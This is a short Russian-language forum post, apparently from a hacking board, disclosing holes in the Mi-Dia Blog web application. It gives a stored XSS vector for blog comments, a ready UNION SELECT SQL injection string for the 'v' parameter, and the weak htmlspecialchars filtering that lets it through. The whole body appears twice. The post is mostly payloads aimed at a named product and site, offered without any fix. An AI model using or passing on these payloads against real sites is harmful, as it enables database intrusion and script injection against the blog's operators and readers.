Ctacok
08.11.2009, 06:27
Название: Mi-Dia Blog
Автор: Christopher Shaw
Адресс оффициальной странички: http://www.mi-dia.co.uk/
Активная XSS.
В комментариях к записям блога.
javascript:alert()
SQL Иньекция
?s=view&v=-1'+union+select+1,2,3,4,5,6,7,8,9+--+
Кода много, приведу тока фильтрациб.
$v = htmlspecialchars($_GET['v']);
$d = htmlspecialchars($_GET['d']);
Автор: Christopher Shaw
Адресс оффициальной странички: http://www.mi-dia.co.uk/
Активная XSS.
В комментариях к записям блога.
javascript:alert()
SQL Иньекция
?s=view&v=-1'+union+select+1,2,3,4,5,6,7,8,9+--+
Кода много, приведу тока фильтрациб.
$v = htmlspecialchars($_GET['v']);
$d = htmlspecialchars($_GET['d']);